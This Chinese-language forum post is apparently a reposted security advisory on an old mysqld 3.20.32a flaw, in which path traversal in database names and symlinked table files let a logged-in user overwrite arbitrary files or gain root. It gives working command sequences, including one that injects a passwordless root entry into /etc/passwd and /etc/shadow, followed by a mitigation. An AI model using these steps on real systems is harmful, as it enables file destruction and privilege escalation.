Forum

Yampiz Forum

Sharing let knowledge Spreaded, Reading let spirits growth, Creative let culture extended, Let us
  • 禁止廣告文
  • 知識傳播
  • 閱讀
  • 心靈成長
  • 創作
  • 文化傳承
Dictionary / Programming / Database / Mysql /

mysqld庫文件創建漏洞

New Subject
Random
Previous
Next
|
    mysqld庫文件創建漏洞

    ???受影響的系統:
    mysql-3.20.32a,其它版本可能也存在此問題
    描述:
    --------------------------------------------------------------------------------

    任何可以用合法的使用者名和密碼登錄進mysql的使用者都可以利用mysqld來發起拒絕服
    務攻擊或者獲得root權限,因為mysql視“../blah-blah”為合法的資料庫名。其每
    張表格是用3個文件表示的:tablename.ISD,tablename.ISM和tablename.frm,
    但是mysqld在檢查表格存在與否的時候僅僅檢查tablename.frm。

    測試程序:
    --------------------------------------------------------------------------------

    警 告: 以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!

    1、通過mysqld覆蓋任意文件從而導致拒絕服務:
    $ cd /var/tmp
    $ ln -s /some/file/you/wish/to/owerwrite qqq.ISD
    $ mysql -u user -h localhost -p somepassword '../../tmp'
    create table qqq(www int);
    \q
    $
    上述例子將覆蓋/some/file/you/wish/to/overwrite。

    2、通過mysqld獲得root權限:
    $ cd /var/tmp
    $ ln -s /etc/passwd gotcha.ISD
    $ ln -s /etc/shadow make_me_r00t.ISD
    $ mysql -u user -h localhost -p somepassword '../../tmp'
    create table gotcha(qqq varchar(255));
    create table make_me_r00t(qqq varchar(255));
    insert into gotcha values('\
    r00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\
    ');
    insert into make_me_r00t values('\
    r00t::1:0:99999:7:-1:-1:\
    ');
    \q
    $

    --------------------------------------------------------------------------------
    建議:

    臨時解決辦法:

    NSFOCUS建議您將mysql資料庫文件的屬主改為普通使用者,並以該普通使用者的身份運行mysqld。

    廠商補丁: 暫無。

    資料來源

    • Keywords : tablename, table, mysql, make_me_r00t, gotcha, create, varchar, values, somepassword, localhost, insert, 身份運行mysqld, 者獲得root權限, 檢查表格存, 屬主改為普通使用者, 密碼登錄進mysql, 僅僅檢查tablename, 僅供安全研究, 使用者風險自負, 任何可以用合法
    00
    2009-01-21T09:16:47+0000


    • Now, you can post comments by Facebook Account when your Yampiz account was logout or unvariable. whatever, we suggest to post comment by Yampiz Account to get more bounds to join new events of Heyxu
    Comment
     
    Verify
    Comment
    • Auto Platform
      For better browsing experience, it will auto detects your device to display webpage.
    • Bug Report
      Tell us about the idea, problem and errors you found.
    • Comodo Secure
      The sensitive data transmission adopts by SSL-2048 authenticated encryption.
    • Copyright
      © 2009 YamPiz Digital Inc. & Jaby Group. All rights reserved.
    • Revised Version
      V2.2.552
      05 Dec 2025 (GMT+8)